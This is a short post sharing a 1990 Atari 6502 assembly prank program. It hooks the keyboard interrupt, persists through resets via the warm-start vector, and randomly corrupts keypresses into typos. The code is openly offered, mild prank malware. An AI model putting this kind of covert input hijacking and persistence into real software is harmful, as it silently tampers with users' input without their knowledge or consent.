not really a virus, but a funny background program that creates random typos on "A" and "E" :)
00010 .LI OFF 00020 ****************************** 00030 * * 00040 * PROGRAMM:VERTIPP 0.1 * 00050 * AUTOR :CARSTEN STROTMANN * 00060 * DATUM :21.04.90 * 00070 * VERSION :0.1 * 00080 * FUER :DUMME SCHERZE * 00090 * * 00100 ****************************** 00110 ; 00120 CH = $2FC 00130 VKEYBD = $208 00140 CASINI = $2 00150 BOOT = $9 00160 RTCLOK2 = $14 00170 PORTB = $D301 00180 KBCODE = $D209 00190 CH1 = $02F2 00200 KEYDEL = $02F1 00210 KEYDIS = $026D 00220 SSFLAG = $02FF 00230 HLPFLG = $02DC 00240 ATTRACT = $4D 00250 KRPDEL = $02D9 00260 SRTIMR = $022B 00270 SDMCTL = $022F 00280 DMASAV = $02DD 00290 KEYINT = $FC19 00300 RANDOM = $D20A 00310 ; 00320 .OR $600 00330 ; .OF "D:AUTOS.COM" 00340 ; 00350 INIT 00360 LDA VKEYBD 00370 STA CASINI 00380 LDA VKEYBD+1 00390 STA CASINI+1 00400 LDA #KI 00410 STA VKEYBD 00420 LDA /KI 00430 STA VKEYBD+1 00440 LDA #INIT 00450 STA CASINI 00460 LDA /INIT 00470 STA CASINI+1 00480 LDA BOOT 00490 ORA #2 00500 STA BOOT 00510 RTS 00520 ; 00530 KEYBD 00540 PHA 00550 LDA RANDOM 00560 CMP #$D0 00570 BCC END 00580 LDA CH 00590 CMP #42 00600 BNE .1 00610 LDA #46 00620 STA CH 00630 .1 CMP #106 00640 BNE .2 00650 LDA #110 00660 STA CH 00670 .2 CMP #63 00680 BNE .3 00690 DEC CH 00700 .3 CMP #127 00710 BNE .4 00720 DEC CH 00730 .4 CMP #54 00740 BNE END 00750 LDA #158 00760 STA CH 00770 END PLA 00780 RTI 00790 ------------------------------ 00800 KI TXA 00810 PHA 00820 TYA 00830 PHA 00840 LDY PORTB 00850 LDA KBCODE 00860 STA CH 00870 CMP CH1 00880 BNE .1 00890 LDX KEYDEL 00900 BNE .9 00910 .1 LDX KEYDIS 00920 CMP #$83 00930 BNE .2 00940 TXA 00950 EOR #$FF 00960 STA KEYDIS 00970 BNE .3 00980 TYA 00990 ORA #$04 01000 BNE .4 01010 .3 TYA 01020 AND #$FB 01030 .4 TAY 01040 BCS .5 01050 .2 TXA 01060 BNE .6 01070 LDA KBCODE 01080 TAX 01090 CMP #$9F 01100 BNE .7 01110 LDA SSFLAG 01120 EOR #$FF 01130 STA SSFLAG 01140 BCS .5 01150 .7 AND #$3F 01160 STX HLPFLG 01170 BEQ .5 01180 STX CH 01190 STX CH1 01200 .5 LDA #$03 01210 STA KEYDEL 01220 LDA #$00 01230 STA ATTRACT 01240 .9 LDA KRPDEL 01250 STA SRTIMR 01260 LDA SDMCTL 01270 BNE .6 01280 LDA DMASAV 01290 STA SDMCTL 01300 .6 STY PORTB 01310 PLA 01320 TAY 01330 PLA 01340 TAX 01350 PLA 01360 JMP KEYBD 01370 ------------------------------ 01380 .OR $02E0 01390 .DA INIT 01400 ------------------------------